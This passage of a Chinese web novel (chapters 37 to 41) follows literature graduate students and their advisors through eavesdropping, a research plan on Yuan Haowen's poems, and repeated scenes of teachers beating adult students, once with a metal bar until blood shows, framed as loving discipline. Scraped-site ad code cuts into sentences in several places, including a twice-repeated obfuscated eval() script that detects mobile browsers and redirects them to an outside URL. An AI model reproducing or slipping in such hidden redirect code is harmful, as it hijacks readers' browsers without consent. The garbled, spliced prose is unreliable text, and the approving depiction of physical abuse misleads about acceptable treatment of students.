庄遂平顺着他的视线看过去:“是啊,他跟谁讨论呢?他的学生?” 易堂生只上本科生一门课,有什么问题也讨论不到图书馆来,而且看易堂生跟那人凑这么近,关系肯定不一般。柏阅冬联系最近发生的事,忽然眼睛一亮:“那个不会是……巍思的师弟吧?” 庄遂平傻乎乎的,不知道该不该相信他的推测,正要问呢,却见柏阅冬离了座位,矮着身子偷偷摸摸往那边去了,手里为他捏了一把汗。 柏阅冬悄悄靠近,却没有上前,只是靠着那两人背后的桌子坐了。旁边一个学习的女生抬起头来,却是猛然睁大了眼睛—— “嘘!”柏阅冬眼睛睁得比她还大,什么叫做冤家路窄,这么窄的过道,他把所有冤家都碰上了。 眼前女生正是他师父的独女秦嘉辰,柏阅冬不敢说话,只是用力指着后面,又不住示意别出声,秦嘉辰瞧了后头一眼,真不说话了。 后面讨论的声音飘了过来。 “谢谢师兄了,为我的论文费了这么多心思。” “毕业论文嘛,多修改是应该的,我今晚拿去给老师看看,你就回家休息,后面还要答辩呢!” ?“那就辛苦师兄了,如果师兄碰到刘师兄的话,还替我向他道歉,上次不知道怎么的就得罪他了,我现在还有些后怕呢!” “你别怕,他打人是他不对,我已经教训过他了,下次见面,让他给你道歉。” 柏阅冬默默翻了一个白眼,却不想被秦嘉辰瞧见,差点笑出声。 柏阅冬估摸着那两人就是在那里客套来客套去,也没什么好听的,随手拿了秦嘉辰放桌上的一支笔,在草稿纸上写:请你喝汽水? 庄遂平一直盯着那头,还不知道到底发生了什么,就看见柏阅冬朝他招手,又指指外头,意思是要走。他点点头,胡乱收拾了书就往外头去了。 夏天的汽水放在冰桶里镇着,虽是学生们都向往的好东西,却也不是普通人享受得起的,柏阅冬请秦嘉辰和庄遂平一同喝汽水,这种行为几乎等于大大方方地表明他是有钱人了。 天气有些热,秦嘉辰一边喝汽水,一边挥手扇风:“你认识姜新宇?” 这话一出,柏阅冬差点被汽水呛到:“你怎么知道姜新宇?” 秦嘉辰道:“我们以前是一个大院的,不过他也不怎么跟我们玩。可能是他们家比较厉害吧,他从小眼睛就长在天灵盖上,我很不喜欢他。” 柏阅冬“啧啧啧”几声,阴阳怪气道:“我也没想到,我居然能有一件事和你达成共识。” 这话一下子让秦嘉辰想起眼前人的可恶,立刻瞪着眼睛道:“柏阅冬!你不要太过分!” “哎,小姑娘,劝你对我客气点,你爸好几次托我帮他买什么法文书,肯定是你要用的吧!我可是你的大恩人!” “你!” “别你来你去的,叫师兄!”柏阅冬眉毛一扬,得意极了。 庄遂平看不下去了,劝道:“阅冬,你别欺负人家女孩子。” “我欺负她?你没见她瞪鼻子上脸?” “我!”秦嘉辰平时话也说得流利,可碰上柏阅冬这样的,简直就是笨嘴拙舌了,一时间根本想不出话来应对,气呼呼地往庄遂平那边看了一眼,看见庄遂平那几本书最上面是一本金庸,便问,“你们还看金庸呢?” “是啊,怎么样?”柏阅冬仍旧得意洋洋,“师兄我,可是博览群书!” 秦嘉辰突然嗤笑一声,心想师兄你也不怎么聪明嘛!“咕噜噜”喝了一大口汽水,道:“我回去就告诉我爸,说你在图书馆看金庸,偷听易师兄和姜新宇说话,正事不干,看我爸怎么收拾你!” 本来这种威胁对柏阅冬来说应该毫无震慑力的,可是他几乎一整个月都没看过专业书,什么论文什么研究全都没影,竟是无意中被秦嘉辰拿捏住了。 不过他也不会认怂,梗着脖子道:“你告我的状,谁信啊?再说了,你爸知道我看金庸,又怎么样?” 秦嘉辰知道自己占了上风,又高兴起来了:“别以为我不知道我爸怎么收拾你的。” 柏阅冬脑海里蓦然浮现出自己脱了裤子挨打的场景,脸“唰”地红了。秦嘉辰笑了笑,一口气吸完汽水,把玻璃瓶往桌上一放,扭头走了。 柏阅冬气得汽水也喝不下了:“早知道不请她了!” 庄遂平看了他一眼,笑笑,没有说话。 也快中午了,柏阅冬平复心情,拉着庄遂平去旁边的食堂吃饭:“我还没问你呢,你最近怎么回事?又是睡不着又是看不下书的。” 庄遂平摇摇头:“我也不知道,就是心里空空的,觉得没劲。” “你别是身体出什么问题了吧?”'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' > “没有,你别担心了,可能是换季吧,有点适应不过来。” “那你要注意啊!” 庄遂平笑笑,表示知道了。其实他不是有意瞒着柏阅冬,只是以柏阅冬的出身,大概是无法体会他的痛苦和无奈的,与其说出来却得不到回应,不如不说了。 走进食堂的那一瞬间,庄遂平不知怎么的,竟想:这个世界上,会不会有那么一个人,跟他的遭遇是一模一样的?没有柏阅冬和姜新宇那样的优渥出身,也没有刘巍思那样的独占宠爱,也没有易堂生那样的强大自信,只有爹不疼娘不爱,只有被忽视、被误解、被打压、被遗忘。 他分明是抱着摆脱那一切来到这里的,可是在这里,却又陷入了一个新的循环。 等他有了新师弟师妹,老师会不会更加认为他差劲? 眼前浮现出纪慎严厉的神情,庄遂平只觉一块大石头压在胸口,几乎无法呼吸。 当天晚上,早在图书馆泄露了行踪的易堂生果真到严先生家里去了,才刚进门,就看见刘巍思偎在老师怀里吃水果,不禁有些恼火,却还是先礼貌地打了招呼:“老师。” 严先生抬头,让他进来坐,再看怀里的小崽子,眉眼都耷拉了下去,无精打采的。 “老师,我先回房间去了。” 小孩子不高兴,严先生也没法子,轻声细语地打趣:“见大师兄来了也不叫一声?” 刘巍思没兴致,起身道:“我先回去了。”说着不等老师点头便转身走了,毫不留情的背影只写着两个大大的字——拒绝。 房间门一关上,易堂生便立刻拉下了脸,严肃道:“老师也太宠着他了,他做错了事,难不成不该挨教训吗?被打了两下就使这种性子,传出去还不被人笑话?” 严先生无奈地收拾了茶几上的果皮,道:“他原是知道自己错了的,只是你那日打得也太重了些,后来又病了几日,现在好容易好些了,就由着他高兴几天吧。” “老师,他都多大了,还要人哄着?” “堂生,”严先生语重心长道,“新宇有爷爷奶奶,爸爸妈妈,受了一点委屈,不知道多少人上赶着去看望他安慰他,就连你也是偏心他的。如果这种时候我也站在新宇那一边去指责巍思,你要他怎么办呢?你要逼得他在这里呆不下去吗?” “老师,我不是这个意思,只是他到底是大人了,也不能总像个孩子。” “无妨,他跟着我这么多年,就是这么个性子,在外人面前还是懂事的。” 易堂生知道劝不动,也不说什么了,从包里掏出论文,双手递给老师:“老师,这是新宇的毕业论文,我给他改了两轮,您再帮忙看看。” 38.第 38 章 “昨天晚上不知道怎么回事,睡不安稳,今天早上起来眼皮还一直跳。”柏阅冬盘腿坐在床上揉眼睛,“遂平,是不是有凶兆啊?” 庄遂平有一段时间睡眠不佳了,随意笑笑,道:“哪有什么凶兆?你还迷信?” “不是啊,那我之前都不会这样的。”柏阅冬抓了一件米色短袖T恤穿上,趿着拖鞋去找毛巾,“总感觉有不好的事发生。” 庄遂平翻了一页挂在墙上的日历,问:“你今天下午是不是要去见秦老师了?” 柏阅冬手一顿,毛巾僵硬地落在地上:“又双周周五了?” 秦昭阳的规矩,除了上课和其他特殊的事情以外,柏阅冬每双周周五都得去办公室找他,汇报近期的学习情况,讨论下一步的学习计划。最近柏阅冬沉迷武侠小说,专业书是一点没看,论文连影子都没有,上回去见秦昭阳,他几句话搪塞了过去,可是一转眼,竟然两周又过去了。 两周,半个月啊!他竟然看了两周的武侠小说! 庄遂平帮他把毛巾捡起来,搭在已经堆了好几层衣服的椅背上,颇为同情地出主意:“要不,找个借口不去?生病了?” “那秦昭阳一来看我,不就露馅了?” “那说,忘记了?” “这跟直接送上门挨打有什么区别?”柏阅冬长长呼出一口气,想起昨天下午秦嘉辰的话,心“扑通扑通”跳起来,“遂平,你说秦嘉辰昨晚不会真的跟秦昭阳说我在读金庸吧?” 庄遂平对秦嘉辰哪有什么了解?“我不知道啊!” “要死了,遂平,你最近看了什么书没有?有没有什么感想、疑问、收获?借我用一用啊!” 庄遂平眼皮一抬,浓密而短平的睫毛颤了一下,没有说话。 他已经很久看不下去书了,眼睛一挪到书页上,眼前全是纪慎严厉而苛刻的神情,耳边则是无情凶狠的责骂,有时候甚至屁股都隐隐作痛,根本没办法学习。 柏阅冬倒也不是真指望他,一扭头,连洗脸也顾不上了,忙从书架上找了本晏殊的词哗哗翻开——那些词倒还是他熟悉的,只是他没有什么想法呀!跟秦昭阳讨论的东西,哪里是他一个上午可以整理出来的? 越想越心烦,还不到十分钟,柏阅冬又把书丢了:“算了,要死就死吧!” 下午两点,日头正毒辣,柏阅冬就带着早死早超生的心到秦昭阳办公室去了,一推开门,又是令人熟悉而虚伪的笑容:“师父近日无恙吧?徒儿给您请安来了。” 秦昭阳正写着什么,见他这模样,冷笑一声,顺手将面前的东西往桌角一放:“我当你这逆徒要叛出师门了呢!” 柏阅冬谄媚地进屋来,关上门,熟门熟路地拉开椅子坐了:“徒儿我怎么敢?” “装模作样的,没看着你的时候,闯祸了?” “师父这就是您的不是了!徒儿我是那样的人吗?”柏阅冬到底心虚,眼珠子瞟来瞟去的,“我可是在认真学习啊!” 秦昭阳嘴角上扬,似笑非笑,往椅背上一靠,问:“那你都学了些啥?” 这就是进正题了,柏阅冬的脑子和嘴皮子都到了经受考验的时刻。宋词、晏殊,各种词牌名在他脑子里转了一圈,可都不保险,眼看着秦昭阳气定神闲,又不禁想到秦嘉辰,柏阅冬一咬牙,硬生生道:“我、我读了点词。” “嗯,谁的词?” 他到底知不知道我在读金庸呢? “就是这个,问世间情为何物?直叫人生死相许啊!” 秦昭阳转转脖子,歪了头:“元好问,怎么想到读元好问去了?” “就、就感兴趣嘛,师父您知道我的,什么都读一点。” 秦昭阳点点头,不知是赞许他阅读广泛还是示意他继续编:“那你觉得元好问的词如何?” “啊?”柏阅冬口干舌燥,脸上的假笑几乎维持不住了,“还、还不错,我也是刚开始读,有点提炼不出来。” “那你背两首给我听听。” “嗯,师父,我、我没背呢!” “那你是怎么?空口白牙在这里给我诌?”尾音一扬,顿时严厉了起来。 柏阅冬腿一软,忙手撑着桌子站起来了:“师师师师父……” “砰”一声,秦昭阳一掌直直拍在实木桌面上:“你当我不知道你什么人?你读没读我看不出来?上回让你在会上读了论文,你就高兴了是不是?以为不用学了?” 柏阅冬被骂得脖子直缩,心想秦嘉辰果然把这事告诉秦昭阳了,早知道他还是不说谎了,省得绞尽脑汁累得慌,还悬心吊胆的。 “柏阅冬,你今年二十一了,研究生了,这学期上完最后几节课以后就没课了,你就得开始着手准备毕业论文了!怎么?还得我三催四请?!”秦昭阳骂了一会,气得胸膛起伏,平复了好一会儿才又语重心长道,“你也别以为在那会上读了篇论文就怎么样了,人家是说你厉害,可是你能拿一篇论文吃一辈子吗?你没有产出,以后别说去读论文了,做下面听都没有你的位置!人家现在说你写论文厉害,以后人家说你堕落厉害!” 哪有这么夸张?柏阅冬心里不服,却知道自己有错在先,不敢反驳,只垂头道:“我知道错了。” 秦昭阳还是气,扭过头去不看他了。 柏阅冬撅着嘴,走到老师身前蹲下,两手扶在老师膝上:“老师,我错了,我以后好好学就是了,您给我一次机会吧。” 说真的,柏阅冬向来骄傲,头回被抓到不好好学习,他自己也尴尬,但是秦昭阳第一次带学生,又在他身上下了大功夫,真是一点错都忍不了,看他装乖讨巧的,只白了一眼,没有表态。 柏阅冬有点急了,一把抓了老师的手:“师父!您别这样!我都知道错了,实在不行,你、您打我几下,不过我今天也没有系皮带,也没有拿戒尺……” 反正也没什么打人的玩意儿。 只是人倒霉,喝凉水也塞牙,柏阅冬自以为没有工具,却不知他师父前几日订做的大相框做好了,正是在他来之前送到办公室来的,此时正放在墙角呢! 秦昭阳指了指角落:“去,把那个纸箱给我拆了。” “哦。”柏阅冬乖乖起身,帮师父干活去了。 纸箱不小,东西却少,柏阅冬拆出来,只有四根黄铜色金属质地的长形物,两长两短,花纹繁复,另外有些小螺丝,也不知道是哪来干什么的。 “师父,都拆出来了。” “拿一根过来。” 柏阅冬还傻乎乎的:“拿长的还是短的?” “长的。” 长条有近手臂长度,握在手里颇有重量,柏阅冬掂着走了两步,突然愣住了,秦昭阳不会要用这个…… “过来啊!” “师父,您要不要三思啊?” “我说过来,以前惯了你, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 让你无法无天的,今日一并收拾了!” “不是,师父,”柏阅冬抱着这个条状物绕到办公桌另一侧,“这个太重了,我有点害怕。” “你再躲,还有得怕!” 柏阅冬恐惧地咽下口水,看了看怀里的东西,只觉潜逃无望,更加怨恨上了通风报信的秦嘉辰,满心不甘地到老师跟前去了。 “给我。” 柏阅冬又怕又无奈,拖拖拉拉地把长条递过去了。 秦昭阳手一沉,心想这小子倒是没撒谎,是有点重量,拿来教训他也正合适! “还是三岁?要我告诉你裤子脱了,屁股露出来?” 柏阅冬脸一红,抬手扯裤子。他今日穿的是一条亚麻质地的长裤,宽松凉快,裤头是弹性的,两边用力往下一拉,便扯到了大腿处,随即一咬牙,将最后一层布料也褪了去。 秦昭阳见不得这磨磨蹭蹭的模样,右手抓着他的手臂往下一拽,左手握着黄铜色长条,抬手揍了下去! “啊!”柏阅冬还没反应过来是趴在哪里,身后却先烧了起来,那玩意儿可不是开玩笑的,打在这么厚的肉团上,又钝又沉,痛得他后脑一黑,跟要晕过去似的。 那东西本是秦昭阳定做来装裱相片的,质量上佳,未曾想打人有奇效,柏阅冬那屁股瞬间肿起一道红棱,足有半个手掌宽。秦昭阳甚感满意,再次扬手抽打下去。 “呃啊!”柏阅冬脖颈一仰,额上迅速冒出冷汗,正要调整姿势,才发现自己是趴在师父腿上,当即又羞又疼,“师父,求求师父……不要打……” “还在叫不要打?跟刘巍思和庄遂平比起来,你挨打最少,也最没脑子!我看得多打几次,好让你长长记性!” “啪!”边框长条落在肉上,不甚清脆,反而闷闷的,不像打在表皮,而是直接打进了肉里。柏阅冬眼角飙出了眼泪,屁股也全红了:“师父,好疼,这个好疼,我求您了,我回去拿戒尺……啊!疼疼疼!” 这个东西有花纹,大约是普通戒尺的两倍宽,秦昭阳拿着也不舒服,打一下就要重新握一握,顺便口头教训他:“知道疼就给我好好受着!我也是拿回见纪老师教训刘巍思才知道,你们这群人,不打不老实!”说着“啪”一声闷响,又抽了一下。 柏阅冬的腰趋利避害地扭起来,整个屁股都肿了一层,偏生被老师按着,想逃也逃不得,只能夹着哭腔喊疼。 “啪!” “唔……老师,师父,我错了……” “啪!” “啊!疼!我不敢了,我以后再也不敢了……” “啪!” “啊!救命!师父救命!” …… 不过打了十来下,柏阅冬的小屁股就被覆盖了好几层,两团肉全被打得红肿不堪,底下还相继冒出血痧来,秦昭阳到底怕打坏了他,便收了手,喝问道:“知道疼没有?!” 柏阅冬抽噎着:“知道了,师父别打了……要疼死了……” “疼死你最好,滚起来!” 屁股都要疼麻了,柏阅冬几乎起不来,又是扶腰,又是攀桌子的,好容易才起身来,扭头一看,屁股肿得跟大馒头一样,眼泪当即就下来了:“师父您好狠的心!” “哭?” “没、没有。” 秦昭阳瞪了他一眼,拿起桌角的本子,道:“元好问的词,倒也有意思。” “啊?” 39.第 39 章 北方的夏季炎热干燥,雨水甚少,一出门就跟进了大蒸笼似的,热浪由外到内渗透到身体里,叫人躁动不已。刘巍思看着外头的毒辣阳光,心想,这才五月,到了暑假可怎么办? “老师,走这边吧,阴凉一点。”刘巍思扶着老师,沿着屋檐和树木遮挡处向前。 严先生倒不甚在意,笑道:“这有什么?从前咱们劳动的时候,这天气还得下地呢!” “那是从前了,现在不一样了。” 严先生呵呵笑了两声:“是不一样了,你小时候还懂事些,现在尽会闹脾气了。” 刘巍思被说得脸热,知道辩解也没有,万一还要被调侃,索性闭嘴不言了。 这日下午是大家在学院的专业会议室开会,几位老师和他们的研一学生,郑旭因着今天来找纪慎,也一并来旁听,以至于刘巍思进门的时候还愣了一下:“郑师兄?” 郑旭见过刘巍思,点点头道:“严老师好,巍思好久不见。” 会议室中众人都起身来迎,纪慎拉椅子,秦昭阳倒茶,柏阅冬和庄遂平问好,搞得严先生都不好意思了,笑吟吟地坐下:“你们也坐,不要忙,我好久没有见郑旭了,4月那个会,我也忙,都不知道你来没来。” 郑旭没那么拘谨,自如回答:“肯定来了的,不然老师骂死我。” “来了好,来了跟着学学,总不会错。”严先生似乎很高兴,“你平日不住在学校,跟大家交流的机会少,自从前年冬天给你们上完那几节课,我好像都没见过你了。” “见过几次的,但是严老师心里只有巍思,也不会放我在心上。” 郑旭和严先生说了几句,会议室气氛便活跃多了,纪慎一边笑一边给了大弟子一个赞许的眼神,郑旭学术不一定做得好,但是人情世故却游刃有余,这种场面总不会出错。 庄遂平看看师兄,又看看老师,两手在身前尴尬地抠着,撕下一小块死皮。 寒暄完了就要进正题,秦昭阳道:“这次劳烦严老师和纪老师来,是因为我有一个想法,想听听二位的意见。” 严先生两手虚环着桌上的搪瓷杯,平和地看着他,纪慎也是,一言不发,静静等着。 秦昭阳倒有点不好意思了,这两位都算他的前辈,辈分、年龄、成果都越不过人家去,要是这么大阵仗把人请来,又说不出个一二三,那可真是太丢人了。 “这是阅冬给我的一点启发,那天问他在看什么书,他说在读元好问的词,我就想着,到目前为止,研究比较多的是元好问的诗和诗论,词倒没有太多研究。我也是好奇,就去读了一些,发现元好问的词倒也和诗一样,气象阔大,就想着,不如做个元好问词校注。正好,现在这些小孩子,尤其是柏阅冬,也可以跟着沉下心来,慢慢学着做,想听听您二位的意见。” 纪慎反应很快,却只是笑着唤了一声:“严老师。” 严先生缓缓点了点头:“元好问的词,阅冬涉猎确实广,这点巍思和遂平都要学。” 刘巍思不言语也不动作,庄遂平沉默地点点头,柏阅冬却很不好意思似的,头也没抬。 “这项工作还是很有价值的,现在是百废待兴,做别集校注的很多,我们有想做的当然也可以做,而且必须要做。而且,这也是孩子们的机会,校注集子,可以深入了解诗人和古代的文学文化,提高审美水平,比听我们上课说那些东西管用多了。” 纪慎点头:“是这样,昭阳打算怎么开展?” 秦昭阳很受鼓舞,道:“我打算校笺集注都做,工作量比较大,但也可以慢慢来,现有文献的句读、整理分类可以给阅冬去做,另外我要试着去看看能不能辑佚。” “工作量确实很大,”严先生若有所思,“恐怕你和阅冬也做不完。昭阳,我想让新宇来跟你和阅冬来做这个工作。新宇他功底扎实,但是心急了些,让他做些文献,磨一磨他的性子。” 正如秦嘉辰所言,他们家以前就是认识姜新宇的,而且秦昭阳也给姜新宇上过两门本科的课,对他还算有印象,听严先生这样说,也只好点头答应:“好,到时候我让阅冬把工作分出来。” “你也不用太照顾他,他要做研究,就得下功夫,也没有人能轻轻松松就学到东西,该怎么做就怎么做。” “那不如郑旭和庄遂平也去帮忙吧。”纪慎道,“尤其庄遂平,基本功差点意思,正好去锻炼锻炼。” 差点意思是很委婉的说法了,庄遂平知道老师是怎么看自己的,苦涩地笑了笑,道:“是。” 人多帮忙是好事,这样的工作,再来十个八个人都不多,秦昭阳一下多了好几个帮手,高兴得很,却还是打趣:“郑旭明年要毕业了,还有空吗?” “再没空,不也得来帮秦老师的忙?” 众人都笑,严先生补充道:“不怕,我让堂生他们几个有空也来看看,等集子注好,要出书就让纪慎找人去。” “纪老师人脉广,肯定是要仰仗纪老师帮忙的。” 纪慎摆摆手,道:“认识几个人罢了,我想着,这些活最好大家在一起干,我去问问这里还有没有空的办公室,腾出来给你们用。” 秦昭阳连连道谢,又接着和他们商量了经费、文献借阅获取、购买必备文具等大大小小的事,一个下午“唰”地就过去了。 纪慎意犹未尽,看看这几个学生,道:“咱们也很久没有这样大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13741634|143212||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 家都坐一起开会了,柏阅冬给秦老师贡献了这两年的工作方向,刘巍思和庄遂平呢?” 庄遂平心头猛然一跳:“我……我还在看钱谦益。” 果不其然,纪慎眉头微皱:“钱谦益不是开学就看了吗?看到现在?有什么收获没有?” 一连三个问题,每个问题都像一座大山,直直沉沉地压下来。庄遂平几乎呼吸不过来了:“还、还没有,我有点没头绪。” 纪慎不知何时收起了早先的笑意,一脸肃然,目光犀利地打量着学生,连带着会议室的气氛都阴沉了下来。 严先生察觉到不对,开口解围:“小庄研究吴梅村,是跟钱谦益做对比研究吗?” 庄遂平怯怯点头。 “这个思路是很对的,清出贰臣除了这两个,还有别的,也可以多看看,以后要是读博士,就可以直接做清初贰臣群体研究,也很不错。” “谢谢严老师指教。” 纪慎很不高兴,仿佛庄遂平拉低了他的水平一般,不愿再看他,转而看向刘巍思:“巍思呢?今天下午可是一句话都没说,又出什么事了?” 严先生不由得笑了,伸手理了理小孩根本没乱的衣领:“闹脾气呗,上回挨堂生教训重了,到现在都不肯跟堂生说话呢!年纪长,脾气也长,拿他没办法。” “那是严老师宠着呢,换了别人哪里敢?” 庄遂平偷偷觑着纪慎带笑说话的模样,又听他如此说,不由得酸了鼻尖,却也不敢表现,只得把脑袋压得更低。 纪慎不曾注意到庄遂平,还一个劲逗刘巍思:“你不跟堂生说话,到这里也不跟我们说话,看来是把纪老师我也怨上了?” 刘巍思很不情愿地开口:“没有。” “没有就给我们说说你最近忙什么了。” 严先生看小孩子不大高兴,便道:“他最近忙着呢,前几天投了篇文章,写曹丕对陶渊明的影响,顺带着连毕业论文写什么都想好了,陶渊明诗文中的生命哲学。以后读博就接着写魏晋诗人群的生命哲学,是不是?” “我那么笨,读什么博士呀?” 大家被他一句话逗笑了,纪慎道:“你要是笨,咱们这里可就没有聪明的了。不过你这个博士论文,范围是不是太大了,可是适当缩小一点。” 刘巍思歪头想一想,道:“那就写晋……写东晋诗人群体的生命哲学,就叫做,东晋诗人的生命哲学书写!” “还说不读博!”纪慎十分得意,“连论文题目都想好了!” 刘巍思知道被诓了,又扭过头去不说话了。大家你一言我一语地讨论着刘巍思还没影儿的博士,只有庄遂平独自一人坐在角落里沉默不语。 40.第 40 章 “老师,您真的让姜新宇去跟秦老师做校注?”出了会议室,刘巍思便扶着老师往楼下走,他们上午商量好的,晚上出去下馆子。 严先生点点头道:“你不用太放在心上,让新宇去,确实也是希望你们俩少见面少交集,但更多的,是为着磨他的心性。再说了,做一本集子的校注,以后写论文、出书、做其他研究,有的是机会,怎么说都是好事。” 刘巍思不置可否,严先生扭头看他,笑了笑:“怎么?你打算一直这么置气?再也不和你大师兄和好了?” 虽然易堂生为人刻板,对师弟师妹也万分严厉,可刘巍思作为师门里最受宠的小孩,也是得到过大师兄不少关照的,这次为了一个还没进师门的新师弟,竟然遭到大师兄如此痛责,身体的疼痛尚可一笑而过,心中的失望却始终留存着。 “他偏心姜新宇。” “这倒不是,”严先生拍了拍小孩的手,道,“他虽然认识新宇早一些,但是说回来,他若不是真心把你当师弟,又怎么会如此生气?你对他失望,他何尝没有失望呢?他这四五年来陪着读书学习的小师弟,平日知礼节懂进退,没曾想一言不合就把别人打得鼻青脸肿,他教训你也是应该。” 见小孩没有说话,严先生便知他听进去了,继续道:“你也别想太多,你师姐快毕业了,等一切收拾妥当,咱们一块吃个饭,到时候你就给新宇道个歉,这事就过去了,成吗?” 刘巍思一想到那个画面,简直头皮发麻:“一定要这样吗?” “傻孩子,做错了事去道歉,天经地义。再说了,到时候大家坐一桌,你道歉了,他也不好说什么,你还担心下不来台?” 确实是这个理,刘巍思脑子一转弯就知道老师是在帮自己,便点点头,算是答应了。 严先生呵呵笑了两声,带着小孩高高兴兴地下馆子去了。 而在他们身后,已慢慢空下来的学院楼里,庄遂平已经在纪慎的办公室里站了十几分钟了。纪慎什么也不做,就坐在办公椅上,微微抬头,一动不动地盯着他,盯得他腿软。 庄遂平终于受不住,开口唤道:“老师……” “好像从开学到现在,我没怎么关心过你的学习,是吗?” 一句听上去似乎应该满怀愧疚的话,落在庄遂平耳朵里,只有毛骨悚然。没怎么关心过学习,基本等于没有因为学习的事挨过打,事实的确如此,可他能说实话吗?他敢说实话吗? 他只能垂下头,一言不发。 “柏阅冬给了秦老师一个大启发,刘巍思把博士论文题目都想出来了,你还在读钱谦益?” 庄遂平深呼吸,太阳穴渐渐跳起来,仿佛里头装了一把机关枪,突突突地震着。在老师的眼里,他永远不够聪明不够努力,上个学期只是比不过刘巍思,现在连柏阅冬也进入比较范围了。 他是三个人当中最差的。 “你学习有什么困难吗?” 有,我没有办法集中注意力,我晚上睡不着,我一想到我比不过人家就很害怕,我一听到您说话就吓得腿发软,这么继续下去我看不见自己的未来,但是我也根本不可能回到过去,我被我的家庭逼到了这里,但是我不知道是被您还是被我自己逼得呆不下去,我只是一颗沙砾,却被巨石挤压,被海浪冲刷,被其他的沙砾推搡,被巨大的时空洪流所裹挟。 老师,我渴望一些东西,但是我不知道那是什么,或者说,我不敢说出那是什么。每当我看见柏阅冬理直气壮得顶撞秦老师时,当我看见刘巍思和严老师其乐融融时,我都能隐隐约约地感觉到那是什么,但是我不能为它命名。一旦我将它说出口,它就会成为我的软肋。 可是老师,我渐渐发现,我对它的渴望是无法抑制的。我不是学习有困难,我是还对一些东西抱有不切实际的期待。 纪慎转转手腕,淡淡道:“我本来以为你这么大年纪,作为一个研究生,是有足够自觉的。但是,看来我想错了。” 庄遂平嘴角一动,灰心地想,是啊,我让老师失望了。 “既然这样,”纪慎犀利的目光投来,让庄遂平不由自主颤抖,“我不介意帮你。” 庄遂平手心不知何时湿了,跟老师这么久的相处让他一瞬间就预感到,老师的相帮绝不是什么好事,但是他没有任何拒绝的余地。 似乎从来到这个世上开始,他就是砧板上的鱼肉,永远只能任人宰割。 学生的紧张肉眼可见,纪慎自然是察觉了,却只觉得他活该,给了机会没有好好珍惜,就不能怪以后失去自由。 “你今天回去把你读研期间的计划写给我,具体到每一周,我会帮你调整。计划确定下来,你就严格按照计划来学习,我每周检查,做不好,”纪慎顿了顿,“我想你知道后果。” 身后两团肉不自觉地缩了一下,他在老师这里,什么时候做好过?这样的要求,绝对会让他每周都要挨打。 “不会回话?” 庄遂平脚底发虚:“是,老师, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13854271|143212||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我、我知道了,我今天写好,明早拿过来。” “嗯。”纪慎应了声,拿起桌边的戒尺,细细地摩挲着。 庄遂平的心跳好像停了一拍。 “过来。” “老师……” “听不懂话?” “不是之后吗?”怎么现在就要挨打? 纪慎略带轻蔑地笑了一声:“你觉得你这么长时间浪费光阴毫无进展,不该打,是不是?” 庄遂平咽下一口唾沫,说不出话来。 “过来,一百,不要耗尽我的耐心,否则翻倍。” 言简意赅,像山顶砸落的巨石,“砰”一声压在庄遂平心上。只是脑子虽然接受到了指令,双脚却像灌了铅,重得抬不起来。奋力迈出脚步时,脚底的铅又化作酸气,从最底下一直往上涌,蹿到小腹,穿过胸腔,刺破咽喉,最后在脑袋炸开,让他眼眶和鼻尖都要冒出泡来。 从桌前到桌后,不过几步的距离,庄遂平却觉得像是走过了万水千山,用尽了他所有的力气。 但是他还有没完成的事。 大约是真的累了,庄遂平再没有求饶的心思,甚至不想抵抗一丝一毫,站定后便抬手褪下裤子,缓缓撑在桌上。 戒尺带着一点空气的冰凉,“啪”一声抽上来时却能把那两团肉打热。庄遂平机械地保持着姿势,只是被戒尺一下下打得往前倾,渐渐地红了眼眶。 戒尺着肉声非常响亮,在安静的办公室里回响。庄遂平有些反常,没觉得难熬,只觉得身后一下下炸开的疼痛一点点让他活了过来。他如同一个沉睡很久终于醒来的老人,在热辣的痛麻中想起了许多往事,想起他沉默地跟在大哥身后去搬稻草,回到家母亲却只殷勤地给了大哥一碗水;想起他带着小他几岁的弟弟在田埂上玩,父亲经过劈头盖脸地骂他不会照顾弟弟;想起他孤孤单单地坐在家门前,犹豫着要不要离开村子,去看看外面的世界;想起他第一天到学校,满心欢喜,以为他会摆脱曾经的一切;想起纪慎对巍思和阅冬的笑脸以及面对他时永远如同冰块的神情;想起郑旭跟在纪慎身边轻松聊天的模样;想起他常常彻夜难眠的辗转…… 不知道挨过多少下,庄遂平只觉身后一片滚烫,仿佛全都肿了起来,眼眶依旧通红,可原本涌出的一点薄泪却收了回去。 这个世界上,不会有人看见你的眼泪,所以,也不必哭了。 戒尺“啪”地抽下来,庄遂平疼得一咬牙,脖子上青筋一动,没有发出一点声音。 41.第 41 章 庄遂平挨打那会儿,柏阅冬正在他师父家里等着吃饭。饭桌上四个人,表面其乐融融,实际波涛汹涌。师母是最实在的,拼命给柏阅冬夹菜:“阅冬帮我们辰辰买了好多书,省了好些事,辰辰都不知道怎么谢你好。” 柏阅冬低头看了一眼碗里的饭菜,又抬眸看向正吃饭的秦嘉辰,假假地笑了一声:“师妹不知道怎么谢,就别谢了,只要别恩将仇报就成。” 恩将仇报那几个字咬得特别重,生怕秦嘉辰听不出来似的。 秦嘉辰一头雾水,白了他一眼,只当他发神经。 柏阅冬早把他上回挨打的事记在秦嘉辰头上了,这个白眼,也只当作是她心虚。 